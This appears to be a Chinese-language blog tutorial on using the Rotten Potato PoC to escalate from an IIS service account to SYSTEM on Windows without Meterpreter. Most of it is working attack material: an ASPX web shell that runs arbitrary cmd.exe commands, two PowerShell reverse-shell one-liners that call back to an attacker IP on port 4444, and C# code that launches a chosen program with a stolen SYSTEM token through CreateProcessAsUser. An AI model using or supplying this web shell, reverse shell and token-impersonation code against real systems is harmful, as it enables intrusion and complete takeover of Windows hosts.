写在前面的话
如果你之前没听说过Rotten Potato的话,请大家在阅读本文之前先看看这篇有关使用Rotten Potato实现服务帐号提权的【文章】。
它的实现机制可谓是相当复杂,它允许我们拦截NTLM认证挑战请求并伪造目标用户的安全访问令牌,而这个过程发生在DCOM激活过程中(目标用户账号需要运行BITS-后台智能传输服务服务实例)。
访问令牌是什么?它是一种用来描述Windows进程或线程安全状态的对象,它跟会话Cookie有些类似。
而我们所需要的就是一个拥有相应权限的进程。一般来说,用户所运行的SQL server服务或者ISS服务都会拥有这种权限,所以如果我们能够拿到这些系统中的Shell或者在其中实现命令执行,那我们就成功了一半了。更加搞笑的是,微软并没有修复这个安全问题,可能他们认为这也是一种“专门设计的功能”吧…
我并不打算在本文中跟大家深入讨论技术细节方面的内容,我只想告诉大家如何在不依赖于Meterpreter以及incognito模块的情况下去使用这个PoC。
PoC利用
首先,我们需要在Windows(Windows 7-Windows 2016均可)上安装IIS,,然后将“command”.aspx页面(代码在下面给出)拷贝到webroot目录之中。
下面给出的是一份简单的脚本代码:
< %@ Page Language="VB" Debug="true" >
< %@ import Namespace="system.IO" % >
< %@ import Namespace="System.Diagnostics">
<script runat="server">
Function RunCmd(command)
Dim res as integer
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo(“c:windowssystem32cmd.exe”)
myProcessStartInfo.UseShellExecute = false
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments=”/c “ + command
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
RunCmd= MyString
End Function
</script>
<html>
<body>
<form action="cmd.aspx" method=POST>
Enter your shell command <input type=text name=cmd size=4>
<input type=submit name=go></form>
< %
if request(“cmd”) <> “” then
response.write(“
<pre>“+ RunCmd(request(“cmd”))+ “</pre>
“)
end if
%>
</body></html>
Webshell正常工作,具体如下图所示(ISS默认的apppool):
我们所拥有的权限信息如下所示(whoami/priv):
我们已经拿到了我们所需要的权限,而剩下的就是拿到一个交互式的反向Powershell:
powershell -nop -c “$c = New-Object System.Net.Sockets.TCPClient(‘IP’,4444);
$st = $c.GetStream();[byte[]]$b = 0..65535|%{0};
while(($i = $st.Read($b, 0, $b.Length)) -ne 0){;
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (IEX $d 2>&1 | Out-String );
$sb2 = $sb + ‘PS ‘ + (pwd).Path + ‘> ‘;
$sby = ([text.encoding]::ASCII).GetBytes($sb2);
$st.Write($sby,0,$sby.Length);$st.Flush()};$c.Close()”
非常好,我们的反向Shell也能够正常运行。
接下来,我们需要从GitHub代码库【传送门】中下载Rotten Potato PoC(C#),然后在Visual Studio中打开项目代码。
打开之后,我们先看看“Potato”项目中的_LocalToken.cs文件:
其中的mygetuser()函数告诉我们,我们现在已经是“SYSTEM”了,如果我们直接在Meterpreter会话中运行我们的漏洞利用代码,那我们就可以窃取到“SYSTEM”令牌,并用它来伪装成该系统中的特殊用户了。
但是我们的要求是避免使用Meterpreter,所以我们需要用不同的方法来实现这个目标。
首先,我们需要确保一切都能够正常运行,因此我们需要添加一下自定义代码:
为了得到SYSTEM令牌,我们需要调用QuerySecurityContext() API,然后在新的状态下伪造令牌。接下来,我们还需要尝试在目录c:windows下创建一个子目录。
完成了整个项目的编译之后,我们需要使用ILMerge.exe来创建一个单独的可执行程序。如果你选择的是Framework 3.5版本以上的平台,别忘了修改代码中的 .NET框架版本。可供参考的样本代码如下所示:
ILMerge.exe Potato.exe NHttp.dll
SharpCifs.dll Microsoft.VisualStudio.OLE.Interop.dll
/out:myrotten.exe
/targetplatform:v4,”C:Program Files (x86)Reference AssembliesMicrosoftFramework.NETFrameworkv4.5”
这里我就不介绍如何将生成的可执行程序上传到c:windowstemp目录中了,因为你应该知道怎么用PowerShell的反向Shell来完成上传了吧?
如果一切顺利的话,你应该可以通过启动myrotten.exe并在c:windows目录下创建一个名叫“rottenpotato”的子目录了。
非常好,我们的漏洞利用PoC可以成功运行了,接下来我们继续往下看。
我们的策略如下:
其实我们并不需要跟“incognito“进行交互,我们准备通过命令行来启动一个新的进程,然后伪装成SYSTEM用户。
首先,我们需要对Program.cs的Main()函数进行一些调整:
我们需要在公共静态字符串CmdLine中存储我们将要调用的程序名称,例如一个反向PowerShell。
接下来就是最重要的部分了,那么为了使用SYSTEM令牌生成一个新的进程,我们需要调用哪一个Windows API呢?
思考片刻之后,我们设计出了以下两种备选方案:
方案一
BOOL WINAPI CreateProcessAsUser(
_In_opt_ HANDLE hToken,
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);
方案二
BOOL WINAPI CreateProcessWithTokenW(
_In_ HANDLE hToken,
_In_ DWORD dwLogonFlags,
_In_opt_ LPCWSTR lpApplicationName,
_Inout_opt_ LPWSTR lpCommandLine,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCWSTR lpCurrentDirectory,
_In_ LPSTARTUPINFOW lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInfo
);
这些函数其实都是差不多的,它们都接受令牌来作为输入参数。但它们的主要区别在于:
CreateProcessWithTokenW()使用起来限制更少一点,因为它只需要SeImpersonate权限。但是,它似乎无法在Session 0(我们的shell运行在其中,因为我们是从IIS服务中启动的shell)中正常工作。
CreateProcessAsUser()同样需要SeAssignPrimaryToken权限(我们有这个权限),但是它可以在Session 0中运行。
因此,对于我们来说,我们当然要选择CreateProcessAsUser()了。
我们需要设置RunMyProcessAsUser()函数,并用它来传递我们之前所获取到的令牌。
public class MyProcess
{
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public Int32 dwProcessID;
public Int32 dwThreadID;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public Int32 Length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[DllImport("advapi32.dll",
EntryPoint = "CreateProcessAsUser", SetLastError = true,
CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)
]
public static extern bool
CreateProcessAsUser(IntPtr hToken,
string lpApplicationName, string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandle, Int32 dwCreationFlags, IntPtr lpEnvrionment,
string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo,
ref PROCESS_INFORMATION lpProcessInformation);
}
. . . .
public bool RunMyProcessAsUser(IntPtr hToken)
{
MyProcess.PROCESS_INFORMATION pi = new MyProcess.PROCESS_INFORMATION();
MyProcess.SECURITY_ATTRIBUTES sa = new MyProcess.SECURITY_ATTRIBUTES();
MyProcess.STARTUPINFO si = new MyProcess.STARTUPINFO();
try
{
sa.Length = Marshal.SizeOf(sa);
si.cb = Marshal.SizeOf(si);
si.lpDesktop = String.Empty;
bool result = MyProcess.CreateProcessAsUser(
hToken,
Program.CmdLine,
String.Empty,
ref sa, ref sa,
false, 0, IntPtr.Zero,
@"C:\", ref si, ref pi
);
if (!result)
{
int error = Marshal.GetLastWin32Error();
Console.WriteLine(String.Format("RunMyProcess Error: {0}", error));
return false;
}
Console.WriteLine("Executed:" + Program.CmdLine);
Process currentProcess = Process.GetCurrentProcess();
}
finally
{
if (pi.hProcess != IntPtr.Zero)
MyProcess.CloseHandle(pi.hProcess);
if (pi.hThread != IntPtr.Zero)
MyProcess.CloseHandle(pi.hThread);
}
return true;
}
声明完必要的数据结构以及API调用之后,我们则需要调用CreateProcessAsUser()来传递必要的参数,首先就是我们的令牌,其次是需要执行的命令以及某些默认配置值。需要提醒大家的是,我们的工作目录为C:。
正如你所看到的那样,在创建进程之前,我们不打算通过调用DuplicateTokenEx()函数来拷贝我们的令牌,因为我们没必要这样做。
我们将在下面代码中调用我们的函数:
现在,我们需要把所有的东西整合起来进行编译,并对我们的成果进行测试。但是在开始之前,我们要把我们的rev.bat上传到c:\windows\temp目录中。
powershell -nop -c
“$client = New-Object System.Net.Sockets.TCPClient(‘IP’,4444);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};
$client.Close()”
接下来就是见证奇迹的时刻了!
在PS反向Shell(IIS用户)中,我们能够调用我们的myrotten.exe了:
我们的监听控制台情况如下所示:
终于成功啦!
总结
正如你所看到的那样,在这篇文章中我只跟大家介绍了如何让相关代码正常工作,大家也可以根据自己的需要来修改项目代码(C#),也欢迎有能力的同学们可以去本项目的GitHub上贡献自己的代码。